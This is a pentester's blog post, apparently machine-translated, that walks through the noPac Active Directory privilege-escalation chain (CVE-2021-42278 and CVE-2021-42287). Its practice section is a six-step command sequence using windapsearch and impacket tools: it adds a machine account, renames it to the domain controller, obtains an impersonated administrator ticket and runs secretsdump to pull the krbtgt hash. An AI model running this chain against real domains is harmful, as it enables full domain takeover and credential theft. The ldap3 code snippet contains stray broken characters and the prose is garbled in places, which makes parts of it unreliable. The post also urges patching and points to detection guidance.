from LowPriv to admin domain in six commands

@Acrono!) at the Customer’s site, plugged into a switched power outlet, and we will penetrate our internals. Everywhere these your 802.1x, AppLockers, PowerShell CLMs, LAPSs, Avers are fierce, blocking attempts to get the coveted handle to lsass.exe, all the infrastructure on 2019 servers, the sky above the color of the TV screen tuned to the dead channel… In short, the nightmare of an (ethical) hacker. And this is already going on for the third day. Fortunately, today everything will be different, since today I read about spoofing sAMAccountName on the way to the office …

Intro

Recently researcher Charlie Clark (@exploitph, known for its fork PowerView) published a fresh way to escalate privileges in an Active Directory domain based on exploitation of vulnerabilities CVE-2021-42287 and CVE-2021-42278… A bunch of CVEs related to these vulnerabilities have been circulating on Twitter for about a month and were promptly fixed by “soft” ones as part of the November Patch Tuesday. But, as you know, whoever did not have time, he was late, so Acrono and I still managed to get the admin domain. Next, I’ll tell you (and show) how this is done, but first, a little theory.

Background

CVE-2021-42278

As it turned out, the Active Directory mechanisms do not check for the presence of the symbol $ at the end of the computer account name, although all machine names end with it. This small “not a bug, but a feature” leads to quite itself big the consequences in conjunction with the CVE-2021-42287 vulnerability.

CVE-2021-42287

When a user (or computer) requests a TGS ticket, the controller first looks at the TGT provided to it. If the KDC does not find an object with the name specified in the TGT among the domain objects, the controller stupidly adds the symbol $ to this name and encrypts the sent TGS using the object key “name $”.

And what next?

And what if we rename some computer to a domain controller, request a TGT for it, rename the computer back (no matter what name) and using this TGT request TGS for some service (for example, LDAP) of this, now no longer existing , computer? Are we going to get a ticket signed by the domain controller for itself? Yes, no, nonsense, this cannot be … Is it so?

Practice

No not like this. Everything will work out exactly as we suggested. Let’s demonstrate this. Since the exploitation of a vulnerability from a Windows system using Powermad, PowerView and Rubeusalready detailed by the author of the original study, I will do this remotely from a Linux machine. Python and the powerful library will help us with this. impacket…

0.ms-DS-MachineAccountQuota

First thing we need to do is create a machine account. This can be scrolled by any domain user, provided that the property value ms-DS-MachineAccountQuota the AD domain is greater than zero. We check this with go-windapsearch:

Cmd

windapsearch --dc 172.22.0.2 -d tinycorp.net -u j.doe -p 'P@$$w0rd' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=tinycorp,DC=net))' --attrs ms-ds-machineAccountQuota

1.addcomputer.py

Next, add a machine KM using addcomputer.py:

Cmd

addcomputer.py -computer-name FromRussiaWithLove -computer-pass 'Passw0rd!' -dc-ip 172.22.0.2 -dc-host DC01.tinycorp.net tinycorp.net/j.doe:'P@$$w0rd'

2.renameMachine.py (1)

Successfully. The next two steps are to kill SPNs so that there are no conflicts when renaming the account, and, in fact, the rename itself. Here you will have to get your hands dirty and copy and paste write a couple of lines of code. Fortunately, ldap3 makes it easy to change the properties of LDAP objects. In our case, this can be done in two lines:

ldap_session.modify(<MACHINE_DN_OBJ>, {'servicePrincipalName': [ldap3.MODIFY_REPLACE, []]})
ldap_session.modify(<MACHINE_DN_OBJ>, {'sAMAccountName': [ldap3.MODIFY_REPLACE, ['<NEW_NAME>']]})']])

The script written on the knee can be spied tut…

Cmd

./renameMachine.py tinycorp.net/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name 'FromRussiaWithLove$' -new-name DC01

3. getTGT.py

What do we have next according to the plan? Correct – we get TGT using getTGT.py:

Cmd

getTGT.py tinycorp.net/DC01:'Passw0rd!' -dc-ip 172.22.0.2

4.renameMachine.py (2)

We change the machine accounting back:

Cmd

./renameMachine.py tinycorp.net/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name DC01 -new-name 'FromRussiaWithLove$'

5. getST.py

Now the most interesting part is getting a ticket for the service of our non-existent computer, which will magically turn into a ticket for DC. This can be done using a variation of RBCD (Resource-based Contrained Delegation) attacks… By activating the S4U2self transit extension of the Kerberos protocol, we can get hold of such a TGS. Before the impacket master the flag -self haven’t got it yet, however it has already been added in this PR (details of the attack can be found in another post from @exploitph):

Cmd

KRB5CCNAME=DC01.ccache python3 impacket/examples/getST.py -spn LDAP/DC01.tinycorp.net tinycorp.net/DC01 -k -no-pass -dc-ip 172.22.0.2 -impersonate administrator -self

6. secretsdump.py

That’s all, now we have the right ticket for DCSync and we can compromise critical domain accounts!

Cmd

KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC01.tinycorp.net -dc-ip 172.22.0.2 -just-dc-user 'TINYCORPkrbtgt'

Outro

I would like to draw public attention to this chain of attacks and call on all concerned admins to the fastest patches of their systems (even though this will only add work to us as pentesters).

Information for BlueTeam-ers regarding the detection of malicious activity within the described case can be found at the end of the original research.

Thanks for your attention and Happy Hacking!

Links and Resources